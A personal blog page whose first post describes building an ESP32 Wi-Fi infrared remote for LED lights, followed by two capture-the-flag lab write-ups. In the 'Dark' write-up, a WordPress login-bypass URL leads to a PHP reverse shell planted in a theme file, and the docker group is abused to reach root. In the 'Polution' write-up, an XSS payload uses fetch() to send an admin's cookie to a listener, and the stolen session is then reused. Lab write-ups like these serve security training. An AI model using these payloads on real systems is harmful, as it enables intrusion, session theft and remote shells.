Sunday, October 11, 2026

The Kids Lost the LED Remote, So We Built One with an ESP32


*A small family electronics project that turned into a Wi-Fi IR controller with saved commands and over-the-air updates.*

**GitHub repository:**(https://github.com/TechTucson/LED_FAM_ESP32)

## It started with a missing remote

A while back, the kids lost the remote for our LED lights. The lights still worked, but changing colors or turning them off wasn't exactly convenient without the remote.

I had an ESP32 on hand and figured this would be a good excuse to put it to work. The original goal was simple: send the same infrared commands as the missing remote. As usual, once I got into it, I started thinking about what else we could do. Why stop at replacing a remote when the ESP32 could host a little web page and let us control the lights from a phone?

The kids helped with the hands-on part of the build, especially connecting the wires. They haven't done the Arduino programming yet, but they were involved in getting the hardware together. That was a fun part of the project: turning a missing remote into an opportunity to build something together.

## The parts

This wasn't a complicated build. I used:

- An **ESP32 development board (ESP32-WROOM-DA)**
- A **three-pin IR transmitter module** (the one I used is rated for 5V)
- Jumper wires and a USB power cable
- A **Flipper Zero** to test and verify the IR commands
- Arduino IDE with the **IRremoteESP8266** library


![The IR transmitter module used in the build]

*The three-pin IR transmitter module. The board labels its connections GND, VCC, and DAT.*

### Wiring

| IR transmitter | ESP32 |
| --- | --- |
| GND | GND |
| VCC | 5V/VIN (for this 5V-rated module) |
| DAT | GPIO 26 |

The ESP32's onboard **BOOT button (GPIO 0)** also serves as a physical control. A short press cycles through commands; a long press sends OFF. Check your own module's voltage and signal requirements before wiring it the same way.

## Finding the IR commands

I didn't have the original remote to learn from, so I used my Flipper Zero to test a range of NEC infrared commands against the LED controller. I generated a Flipper-compatible `.ir` file, tried the codes, and kept track of the ones that actually did something.


![Flipper Zero testing NEC commands]
*Testing NEC codes with the Flipper Zero while watching how the LEDs responded.*

The working set used NEC address `0x00`. Two commands are confirmed by function:

| Flipper command | Function |
| --- | --- |
| `A00_C82` | OFF |
| `A00_C83` | Working command; function still to label |
| `A00_C85` | GREEN |
| `A00_C86` | Working command; function still to label |
| `A00_C88` | Working command; function still to label |
| `A00_C89` | Working command; function still to label |


![Testing the green LED command]

*One of the tests that helped identify the working commands.*

## The part that took longer than expected

Getting the ESP32 to print a command in Serial Monitor was easy. Getting the LED controller to respond was another story.

At first, nothing happened. I tried checking the IR transmitter with a phone camera, changing the module's power from 3.3V to its specified 5V, and testing the GPIO output. The module's red indicator blinked, so the ESP32 was definitely controlling the signal pin. Eventually, the Flipper Zero picked up transmissions from the ESP32 from several feet away. That confirmed we were sending *something*.

The important distinction was that a valid NEC transmission wasn't necessarily the *right* NEC transmission. The address and command values were being interpreted differently because of NEC bit ordering and how the 32-bit frame was assembled.

The breakthrough was getting the ESP32 to transmit a frame that the Flipper decoded as **address `0x00`, command `0x85`**—and then getting the LED controller to respond. The working frame for green was:

```cpp
irsend.sendNEC(0x00FFA15E, 32);
```

That was the first satisfying moment: the LED controller finally responded to the ESP32. From there, the same encoding approach could be applied to the other commands.

## From a replacement remote to a web controller

Once the basic IR transmission worked, I wanted to make it more useful than the original remote. The ESP32 now has a sketch designed to connect to Wi-Fi and serve a small control page, so the commands can be sent from a phone or computer on the local network.

The project also includes these features in the latest firmware:

- **Web-based IR controls** for the known NEC commands
- **Non-volatile storage (NVS)** so commands can be added, renamed, and saved across restarts
- **A management page** for editing the command list without recompiling firmware
- **Browser-based OTA updates** for uploading new compiled firmware over Wi-Fi
- **Serial diagnostics** for the Wi-Fi MAC address, connection status, IP address, and signal strength
- **Physical BOOT-button control**, including a long press for OFF

The firmware features are implemented in the current sketch; the original IR transmission was tested successfully, while the full web/NVS/OTA workflow should be validated on your own board and network.

### What the web interface does

Once connected to Wi-Fi, the ESP32 prints its IP address in Serial Monitor at **115200 baud**. Opening that IP address in a browser brings up the IR controls. The firmware also provides management and update pages:

| Path | Purpose |
| --- | --- |
| `/` | LED control buttons |
| `/manage` | Add, rename, or remove IR commands |
| `/update` | Upload an OTA firmware `.bin` |
| `/status` | Device and Wi-Fi diagnostics |

The web interface is intended for a trusted local network. It uses password protection, but HTTP Basic authentication is not encrypted; I wouldn't expose it directly to the internet.

## Getting it running

1. Wire the IR transmitter to the ESP32 as shown above.
2. Install the **ESP32 board package** and **IRremoteESP8266** library in Arduino IDE.
3. Open the project `.ino` sketch and set your Wi-Fi SSID, password, and web login credentials.
4. Choose an ESP32 partition scheme that supports OTA updates.
5. Upload the sketch over USB the first time.
6. Open Serial Monitor at **115200 baud** to find the Wi-Fi MAC address, connection status, and assigned IP address.
7. Open the ESP32's IP address from a device on the same network.

After that, the plan is to manage new NEC codes from the browser and use `/update` for firmware changes. OTA firmware uploads require an exported compiled `.bin` and a compatible partition layout.

**Firmware:** [See the Arduino sketch in this repository](ESP32_WiFi_IR_NVS_OTA.ino)

## Photos from the testing

These is some of the actual Flipper Zero tests along the way, rather than polished project photos.



![Flipper test photo 2
## What I'd like to add next

I'd like to finish identifying the remaining color and effect commands, give every button a meaningful label, and possibly make the interface a little nicer. Longer term, it could be useful to support multiple LED controllers or other IR devices from the same ESP32.

The kids haven't started programming it yet, but that could be the next part of the project. They've already helped connect the wires, and now there's something tangible to experiment with: press a button on a web page, send an IR command, and watch the lights change.

For a project that started because we couldn't find a remote, that's a pretty good outcome.

---

**Source code:** [GitHub repository (https://github.com/TechTucson/LED_FAM_ESP32)

**Project status:** IR transmission confirmed working; Wi-Fi/NVS/OTA firmware prepared for further testing.




Thursday, August 13, 2026

HackSmarter Challenge Lab: SQL Basics (Easy) - SQL Basics

 https://www.hacksmarter.org/courses/ecd76167-3ff0-4140-96b8-6405beb82799/take

More to Come Soon 

Tuesday, August 11, 2026

HackSmarter Challenge Lab: Free Access - Dark (Easy)

 Here's the link to the lab: https://www.hacksmarter.org/courses/bb164cba-ddc9-4cb0-8e95-ad4853d0143c/take

  • Let's connect to VPN
  • Ping our  host
  • nmap -A our host
    • Here we get our first inclination that his is WordPress 6.0 

    •  
  •  It's been a while that I use wpscan, but I do remember it's a thing, one main source of vulnerabilities in WordPress is it's plethora of available plugins. 
    • wpscan --url http://10.0.21.199 --api-token APIKEYHERE --enumerate p --plugins-detection mixed 
    •  -enumerate p 
      • this flag enumerates plugins, and the options are A/VP/P ( All , Vulnerable Plugins, Plugins) wpscan checks it's database and stuff, that's why we need the APIKEY
      • You can enumerate more stuff like themes, users, config backups, db exports. 
      • A lot of it is mumbo jumbo, while I understand the context I would have to dig a bit deeper.
      • I started with --enumerate vp, figuring it would find a vulnerable plugin, but reverted back to P when it did not find something useful.
    • --plugins-detection mixed 
      • You either do PASSIVE/AGRESSIVE/MIXED detection methods. 
    • While wpscan reported a couple of findings, we see a good one to test that includes Privilege Escalation, Unauthenticated one, the ones we love.
  •  Time to go digging for CVE-2026-23550
    • I'll save you some time. According to this site: https://hurayraiit.com/blog/cve-2026-23550-critical-privilege-escalation-in-wordpress-modular-ds-plugin-cvss-10/#the-poc
    • I use this as my payload; https://example.com/api/modular-connector/login/anything?origin=mo&type=foo Let's try it. 
    •  Look at that we're in: 
    •  It's really crazy how these things work. 
  • Now we're in Wordpress as an admin, but that's only a step closer. I know we can probably get a shell with the Themes, maybe even use metasploit and get initial foothold to the OS there. I will come back a bit later and continue.  
    • Let's try this one: https://khellwan.medium.com/from-wordpress-setup-to-reverse-shell-8c3be45c009c
    • We'll update the IP of this php file https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php
    • Upload it to our footer-default.php
    • Create a listener, save the file, and watch us wet a reverse shell. 
    •  
    • Now let's explore, usually web stuffz lives in /var/www, if we LS here we see user.txt 
      • lets cat it out, and you have your user flag. 
  • Other Methods: 
    • There's many ways to do this after you have admin on WordPress, you can choose another PHP file to implement your shell in. 
    •  You can upload other plugins that provide shell here's an example from GH; https://github.com/4m3rr0r/Reverse-Shell-WordPress-Plugin
  • Now the shell isn't that cool , let's spawn a real shell , or at least a different one
    • python3 -c 'import pty; pty.spawn("/bin/bash")' 
  •  Explore some more:
    •  
    • Not sure if this is important.  
    •  WHOAMI , I AM not ROOT :( , but I am www-data, and for some reason I am part of the docker group. 
      • Rootless docker has been a thing but people usually don't set that up, because why, docker just works.
  • Docker
    • We're not after priviledge escalation we basically want to get the flag.  
    • Let's create a container that mounts / into the container. 
    • docker run -it --privileged --name root_access_container -v /:/mnt_host_root ubuntu /bin/bash
    •  we can access /mnt_host_root on the container which is really / on the host , from here we can browse to /root/root.txt
    •  flag{docker-is-fun-0385}
  • But that's not fun let's try and get root.  
    • Le'ts try this: 
      wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
      chmod +x deepce.sh
      ./deepce.sh 
      ./deepce.sh --no-enumeration --exploit DOCKER --command "whoami" 
       
       
      •  From here we can run other commands as root, maybe setup another listener on a different port, then reverse shell to that listener as root 
         

       

Friday, August 7, 2026

HackSmarter Challenge Lab: Free Access - Polution (Easy)

  • https://www.hacksmarter.org/courses/1de73367-b278-41ba-a63c-83c2d510621c
    • We'll do our normal VPN thing. 
    • Our challenge is: 
      • The credentials below mirror a customer. Are you able to elevate your privileges and become an Administrator? 
  • After getting nowhere with the browser on port 80/443 I ran NMAP\
  • Now we can go to http://x.x.x.x:3000 and log in with the provided credentials
  • Don't forget to change the scope in Caido or BurpSuite 
  • I can change my cookie from pentester to admin.  
    • It reflects on the page but I am not really an admin. 
  • There's webmail, and it goes to an admin 
    •  let's see if we can make the admin reach out to us, let's start a listener
      •  sudo nc -nvlp 80 (nothing exciting here , you don't need a screenshot
    •  Then send this over to the admin :
      •  
      • He clicked on our link

      •  
      • This is where I think we can try to steal his cookie, by calling /message?document.cookie or something like that. 
        • I opened up my python http server because nc was disconnecting at every connect 
        • http://10.200.78.16:8000/message?c=+document.cookie
        • I don't get anything though, at least the cookie
  •  This is where I cheated, I looked at some writeups, and realized that it's this thing called parameter pollution, long story short I don't know about this. 
    • I am looking a bit more about it but it reminds me of PHP Filters. 
      • http://10.1.26.5:3000/dashboard#__proto__.renderCallback=<img src=x onerror="alert(1);"/>
        •  This POC shows us that we have XSS with Paramater Pollution
          I wonder if we change the 1 to document.cookie 
           
           
         Look at that.  Let's combine that with our XSS that we send to our admin in webmail.
      • We'll use this payload
        • http://10.1.26.5:3000/dashboard#__proto__.renderCallback=<img src=x onerror="fetch('http://10.200.78.16:9000/?c='+document.cookie)">
        • This is our response,  I used different ports not to contaminate my responses
        •  
        •  Now let's try and use that session in our browser, we are already authenticated as pentester, so we modify our current session in the console the browser
          • document.cookie = "session=HS_ADMIN_7721_SECURE_AUTH_TOKEN; path=/";
            document.cookie = "user=admin; path=/";
          •  Then we browse into the incident reponse page: 
            •  
      • What did I learn here, even though this is an EASY lab , it was not easy for me, more Pollution in prototypes for me 
  • Update:
    • While I still don't feel smart enough to talk about Prototype pollution I used everyone's favorite new thing. AI, I gave it the available script and asked it if it was vulnerable:
    •  Magically it said, yep it's susceptible to DOM XSS in the renderCallback Area:
      •  It even gave us some POC to try in the For example area. 
      •  While I am not too fond of AI, I do see it's advantages at times. 
    • UPDATE 2:
      • I also tried DOM Invader
      •  and while It said that there are Exploit available, when I click exploit I did not get anything. 
      • Using both ChatGPT and DomInvader, I can connect some ...(dots), I can see renderCallback is mentioned in both. 

The Kids Lost the LED Remote, So We Built One with an ESP32

*A small family electronics project that turned into a Wi-Fi IR controller with saved commands and over-the-air updates.* **GitHub repositor...